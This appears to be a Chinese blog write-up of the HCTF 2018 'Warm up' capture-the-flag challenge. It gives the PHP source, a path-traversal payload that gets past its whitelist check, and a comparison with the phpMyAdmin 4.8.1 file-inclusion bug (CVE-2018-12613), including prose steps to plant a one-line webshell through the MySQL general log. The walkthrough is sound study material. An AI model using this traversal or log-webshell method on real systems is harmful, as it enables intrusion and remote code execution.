Warm_up(HCTF_2018)
Warm up
考察知识点:
文件包含漏洞
代码审计
解题步骤
- 首先我们进来看到了一个滑稽的表情,没啥别的东西,先看看源码

- 源码中发现有注释 source.php

我们访问source.php,得到代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} if (in_array($page, $whitelist)) {
return true;
} $_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} $_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
} //用$_REQUEST来接收file参数
if (! empty($_REQUEST['file'])//file不为空
&& is_string($_REQUEST['file'])//file是字符串
&& emmm::checkFile($_REQUEST['file'])//file通过checkFile
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
我们在source的白名单中,发现还有一个文件hint.php,访问知道了flag的位位置

现在的问题就是如何使的checkFile为真。
- in_array() 函数搜索数组中是否存在指定的值
- mb_substr() 函数与我们学过 substr() 函数差不多,如果要分割英文则使用substr(),如果要分割中文则需要使用 mb_substr()
- mb_strpos() 查找字符串在另一个字符串中首次出现的位置
我们在把代码复制下来,在本地搭建一下,加上几句echo

我们传入一下url
http://b60922ee-d3a8-4f8c-9191-f06e104e698d.node3.buuoj.cn/source.php?file=hint.php?/../../../../../ffffllllaaaagggg或者
http://b60922ee-d3a8-4f8c-9191-f06e104e698d.node3.buuoj.cn/source.php?file=hint.php%253f/../../../../../ffffllllaaaagggg
可以看到之后执行的是include(hint.php?/../../../../../ffffllllaaaagggg),这里能包含成功,是因为它吧hint.php?当作了文件夹.
phpmyadmin 4.8.1任意文件包含(CVE-2018-12613)
代码节选与本题很相似
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
/**
* boolean phpMyAdmin.Core::checkPageValidity(string &$page, array $whitelist)
*
* checks given $page against given $whitelist and returns true if valid
* it optionally ignores query parameters in $page (script.php?ignored)
*
* @param string &$page page to check
* @param array $whitelist whitelist to check page against
*
* @return boolean whether $page is valid or not (in $whitelist or not)
*/
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
$target_blacklist = array ( //黑名单
'import.php', 'export.php'
);
if (! empty($_REQUEST['target'])#target 非空
&& is_string($_REQUEST['target'])#target为字符串
&& ! preg_match('/^index/', $_REQUEST['target'])#target不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)#target不能在黑名单中
&& Core::checkPageValidity($_REQUEST['target'])#target要通过checkPageValidity
) {
include $_REQUEST['target'];
exit;
}
我们搭建环境测试一下

查询一下general_log的开启状态

将日志产生的默认路径改更改为已知路径。执行成功后,查看日志文件是否生成

检查是否产生日志文件

写入一句话木马


测试一下



Warm_up(HCTF_2018)的更多相关文章
- rsa special
[ReSnAd] -- iqmp ipmq e,c,\(\phi(n)\) 题目: class Key: PRIVATE_INFO = ['P', 'Q', 'D', 'DmP1', 'DmQ1'] ...
随机推荐
- C++算法代码——选举学生会
题目来自:https://www.luogu.com.cn/problem/P1271 题目描述 学校正在选举学生会成员,有 n(n\le 999)n(n≤999) 名候选人,每名候选人编号分别从 1 ...
- 06.numpy聚合运算
>>> import numpy as np >>> L = np.random.random(100) >>> L array([0.82846 ...
- Elasticsearch简介、倒排索引、文档基本操作、分词器
lucene.Solr.Elasticsearch 1.倒排序索引 2.Lucene是类库 3.solr基于lucene 4.ES基于lucene 一.Elasticsearch 核心术语 特点: 1 ...
- HarmonyOS三方件开发指南(12)——cropper图片裁剪
鸿蒙入门指南,小白速来!0基础学习路线分享,高效学习方法,重点答疑解惑--->[课程入口] 目录:1. cropper组件功能介绍2. cropper使用方法3. cropper组件开发实现4. ...
- linux的0,1,2号进程
一.答案 https://blog.csdn.net/gatieme/article/details/51532804 仔细读一下作者的博客,都是操作系统底层相关. 二.补充: 1.linux代码,a ...
- 箭头函数this的指向
箭头函数的this 什么是箭头函数,箭头函数是es6的新特性,其出现就是为了更好的表示(代替)回调函数 // 箭头函数 (arg1, arg2) => {} // 当箭头函数只有一个参数 arg ...
- vuex中辅助函数的使用方法
mapState import { mapState } from 'vuex' export default { // ... computed:{ ...mapState({ // 箭头函数可使代 ...
- 基于jQuery1.4.2轻量级的弹出窗口jQuery插件wBox 1.0
Box特点 背景透明度可以根据实际情况进行调节 可以根据需要添加wBox标题 支持callback函数 支持html内容自定义 支持在wBox显示#ID的内容 支持Ajax页面内容 支持iFrame ...
- Oracle VM VirtualBox下创建CentOS虚拟系统
下载镜像 创建虚拟电脑 点击新建,输入服务器命名(根据自己喜好),选择好类型和版本(我下载的是64位的CentOS系统,所以选择类型为Linux,版本为其他版本). 修改内存大小 系统建议为512M, ...
- 【HTB系列】靶机Bitlab的渗透测试
出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 0x00 本文目录 反思与总结 基本信息 渗透测试过程 补充 0x01 反思与总结 c ...